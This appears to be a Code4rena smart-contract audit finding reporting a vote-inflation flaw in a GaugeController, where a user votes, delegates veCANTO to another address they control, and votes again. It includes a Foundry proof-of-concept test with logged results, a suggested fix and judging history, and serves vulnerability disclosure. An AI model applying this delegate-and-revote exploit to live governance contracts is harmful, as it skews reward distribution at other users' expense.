Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 46/125
Findings: 1
Award: $36.94
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
36.9443 USDC - $36.94
https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/GaugeController.sol#L211-L278 https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/VotingEscrow.sol#L356-L387
The GaugeController
retrieves the most recent Point
data from the user, which is then utilized to compute their voting power for the designated gauges. Nonetheless, there are no safeguards in place to hinder users from transferring their veCANTO after casting their votes for the gauges. This particular vulnerability can be exploited by malicious users to artificially amplify the weights of gauges by repeatedly engaging in a cycle of voting and delegating to new addresses. This gives the attacker an unfair advantage in the distribution of rewards.
Consider the vote_for_gauge_weights
function, during its execution it retrieves the slope
value from the latest user's Point
. However it cannot guarantee that the user will keep those point until the end of the epoch. This can be exploited by an attacker that first votes for an specific gauge, then delegate his veCANTO to another address he controls to be able to vote again for the same gauge, and keep doing this as many times as the attacker wants in a single epoch, allowing him to arbitrarily increase any gauge weights for an epoch. As an example consider the the following sequence: Address 1 votes -> Delegate to address 2 -> Address 2 votes -> Delegate to address 3 -> Address 3 votes -> (...) -> Delegte to address N-1 -> Address N-1 votes -> Delegate to address N -> Address N votes.
By doing this the attacker can multiply his votes by N (be N the amount of addresses of the attacker) for the same amount of veCANTO locked, enabling him to artifically inflate any gauge weight. This can be used by this attacker to increase his rewards based on the inflated gauges.
Consider the following POC comparing a chain of 3 addresses with and without the inflation attack and the resulting log from the test. As we can see from the logs of the following POC, in both cases (control and inflate) the total amount locked by the attacker addresses are the same (102*1e18
) however the resulting gauge weight is three times bigger for the inflate case.
Control: Final gauge weight: 101329315068211574401 Inflate: Final gauge weight: 300014246575282780801
POC code below:
pragma solidity >=0.8.0; import {Utilities} from "./utils/Utilities.sol"; import {console} from "./utils/Console.sol"; import {VotingEscrow} from "../VotingEscrow.sol"; import {GaugeController} from "../GaugeController.sol"; import {Test} from "forge-std/Test.sol"; contract GaugeControllerTest is Test { Utilities internal utils; address payable[] internal users; address internal gov; address internal attackerAddr1; address internal attackerAddr2; address internal attackerAddr3; address internal gauge1; VotingEscrow internal ve; GaugeController internal gc; function setUp() public { utils = new Utilities(); users = utils.createUsers(5); (gov, attackerAddr1, attackerAddr2, attackerAddr3, gauge1) = (users[0], users[1], users[2], users[3], users[4]); ve = new VotingEscrow("VotingEscrow", "VE"); gc = new GaugeController(address(ve), address(gov)); //Setup attacker addresses vm.deal(attackerAddr1, 100 ether); vm.prank(attackerAddr1); ve.createLock{value: 100 ether}(100 ether); vm.deal(attackerAddr2, 1 ether); vm.prank(attackerAddr2); ve.createLock{value: 1 ether}(1 ether); vm.deal(attackerAddr3, 1 ether); vm.prank(attackerAddr3); ve.createLock{value: 1 ether}(1 ether); //Setup gauge vm.startPrank(gov); gc.add_gauge(gauge1); gc.change_gauge_weight(gauge1, 1); } function testControl() public { vm.startPrank(attackerAddr1); gc.vote_for_gauge_weights(gauge1, 10000); vm.stopPrank(); vm.startPrank(attackerAddr2); gc.vote_for_gauge_weights(gauge1, 10000); vm.stopPrank(); vm.startPrank(attackerAddr3); gc.vote_for_gauge_weights(gauge1, 10000); vm.stopPrank(); console.log("Control: Final gauge weight: ", gc.get_gauge_weight(gauge1)); } function testInflate() public { vm.startPrank(attackerAddr1); gc.vote_for_gauge_weights(gauge1, 10000); ve.delegate(attackerAddr2); vm.stopPrank(); vm.startPrank(attackerAddr2); gc.vote_for_gauge_weights(gauge1, 10000); vm.stopPrank(); vm.prank(attackerAddr1); ve.delegate(attackerAddr3); vm.startPrank(attackerAddr3); gc.vote_for_gauge_weights(gauge1, 10000); vm.stopPrank(); console.log("Inflate: Final gauge weight: ", gc.get_gauge_weight(gauge1)); } }
Manual Review
Consider setting up a sync
similar to the one used by LendingLedger
. After the user delegates its veCANTO to another address, VotingEscrow
calls this sync
method to update the resulting gauge weights.
Other
#0 - c4-pre-sort
2023-08-11T13:33:19Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:17:01Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:20Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:38:15Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:38:34Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#6 - c4-judge
2023-08-25T10:54:33Z
alcueca marked the issue as satisfactory